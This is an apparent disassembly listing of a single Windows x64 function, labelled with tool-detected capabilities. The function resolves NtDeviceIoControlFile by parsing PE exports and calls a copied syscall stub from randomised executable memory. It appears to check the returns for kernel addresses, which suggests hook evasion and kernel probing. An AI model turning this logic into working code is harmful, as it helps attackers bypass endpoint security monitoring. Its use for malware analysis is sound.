Function at 0x140076d50
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r13
push r14
lea rbp, [rsp - 0x3340]
mov eax, 0x3440
call fcn.140191300
sub rsp, rax
mov rax, qword [0x140221880]
xor rax, rsp
mov qword [rbp + 0x3330], rax
mov eax, 0x1000
mov qword [rsp + 0x3470], r12
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x3478], r15
mov r13d, dword [0x140322b68]
lea rcx, [0x1401fded8]
xor edx, edx
mov qword [rbp + 0xf68], rax
mov rax, qword [0x140329cf0]
xorps xmm0, xmm0
mov ebx, 0x5a4d
mov qword [rbp + 0xf70], 0
mov qword [rbp + 0xf78], 0
lea r8d, [rdx + 1]
mov qword [rbp + 0xf80], 0
movups xmmword [rbp + 0xf90], xmm0
mov qword [rbp + 0xf60], 0x1000
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
test rax, rax
je 0x1400770f8
cmp word [rax], bx
jne 0x1400770f8
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x1400770f8
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x1400770f8
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x1400770f3
nop dword [rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140076e83
inc rbx
cmp rbx, r14
jb 0x140076e60
jmp 0x1400770f3
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x1400770f3
mov esi, dword [rcx + 4]
test esi, esi
js 0x1400770f3
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov edx, eax
mov dword [rbp + 0xfa4], eax
mov ecx, 1
mov dword [rbp + 0x2324], 0xffffffff
nop word [rax + rax]
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0xfa4], edx
inc rcx
cmp rcx, 0x270
jb 0x140076ee0
mov dword [rbp + 0xfa0], 0x270
lea r8, [rbp + 0xfa8]
mov r9d, 0x270
nop dword [rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r9, 1
jne 0x140076f20
mov ecx, dword [rbp + 0xfa0]
mov edx, dword [rbp + rcx*4 + 0xfa4]
mov eax, edx
shr eax, 0xb
inc ecx
and eax, dword [rbp + 0x2324]
xor edx, eax
mov dword [rbp + 0xfa0], ecx
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and edx, 0xffffdf8c
shl edx, 0xf
mov ecx, edx
xor rcx, rax
movabs rax, 0xc0906c513cedb3
mov rdi, rcx
shr rdi, 0x12
xor rdi, rcx
mul rdi
mov rax, rdi
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 0xb
imul rax, rax, 0xff4
sub rdi, rax
xor ebx, ebx
nop word [rax + rax]
lea rcx, [rbp + 0xfa0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x2330], rax
inc rbx
cmp rbx, 0x200
jl 0x140076fd0
mov r8d, 0x1000
lea rdx, [rbp + 0x2330]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xf88]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xf88], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0xf60]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0xf60]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0xf90]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xf88]
lea r9, [rbp + 0xf88]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140077472
mov ebx, 0x5a4d
mov rdx, qword [rbp + 0xf78]
test rdx, rdx
je 0x140077472
mov r8d, 0x1000
lea rcx, [rsp + 0x60]
call fcn.1401d15a0
mov rax, qword [0x140329cf0]
lea rcx, [0x1401fded8]
mov r13d, dword [0x140322768]
xor edx, edx
mov qword [rsp + 0x50], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
test rax, rax
je 0x14007742f
cmp word [rax], bx
jne 0x14007742f
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14007742f
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14007742f
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x14007742f
nop word [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x1400771c3
inc rbx
cmp rbx, r14
jb 0x1400771a0
jmp 0x14007742f
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x14007742f
mov esi, dword [rcx + 4]
test esi, esi
js 0x14007742f
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov edx, eax
mov dword [rbp + 0xfa4], eax
mov eax, 1
mov dword [rbp + 0x2324], 0xffffffff
nop word [rax + rax]
mov ecx, edx
shr ecx, 0x1e
xor ecx, edx
imul edx, ecx, 0x6c078965
add edx, eax
mov dword [rbp + rax*4 + 0xfa4], edx
inc rax
cmp rax, 0x270
jb 0x140077220
mov dword [rbp + 0xfa0], 0x270
lea r8, [rbp + 0xfa8]
mov r9d, 0x270
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r9, 1
jne 0x140077260
mov ecx, dword [rbp + 0xfa0]
mov edx, dword [rbp + rcx*4 + 0xfa4]
mov eax, edx
shr eax, 0xb
inc ecx
and eax, dword [rbp + 0x2324]
xor edx, eax
mov dword [rbp + 0xfa0], ecx
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and edx, 0xffffdf8c
shl edx, 0xf
mov ecx, edx
xor rcx, rax
movabs rax, 0xc0906c513cedb3
mov rdi, rcx
shr rdi, 0x12
xor rdi, rcx
mul rdi
mov rax, rdi
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 0xb
imul rax, rax, 0xff4
sub rdi, rax
xor ebx, ebx
nop word [rax + rax]
lea rcx, [rbp + 0xfa0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x2330], rax
inc rbx
cmp rbx, 0x200
jl 0x140077310
mov r8d, 0x1000
lea rdx, [rbp + 0x2330]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xf8c]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xf8c], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0xf60]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0xf60]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0xf90]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xf8c]
lea r9, [rbp + 0xf8c]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140077472
mov rax, qword [rsp + 0x60]
movabs rcx, 0x1000600e9
and rax, 0xffffffffffff00ff
cmp rax, rcx
jne 0x140077472
mov rax, qword [rbp - 0x30]
movabs rcx, 0xfffff80000000000
not rax
test rcx, rax
jne 0x140077472
mov rax, qword [rbp]
movabs rcx, 0xffffff0000000fff
test rcx, rax
je 0x140077490
mov rax, qword [rsp + 0x58]
add rax, 0x1000
mov qword [rsp + 0x58], rax
cmp rax, 0x65000
jb 0x140076d9c
xor eax, eax
mov r15, qword [rsp + 0x3478]
mov r12, qword [rsp + 0x3470]
mov rcx, qword [rbp + 0x3330]
xor rcx, rsp
call fcn.140190770
mov rbx, qword [rsp + 0x3480]
add rsp, 0x3440
pop r14
pop r13
pop rdi
pop rsi
pop rbp
ret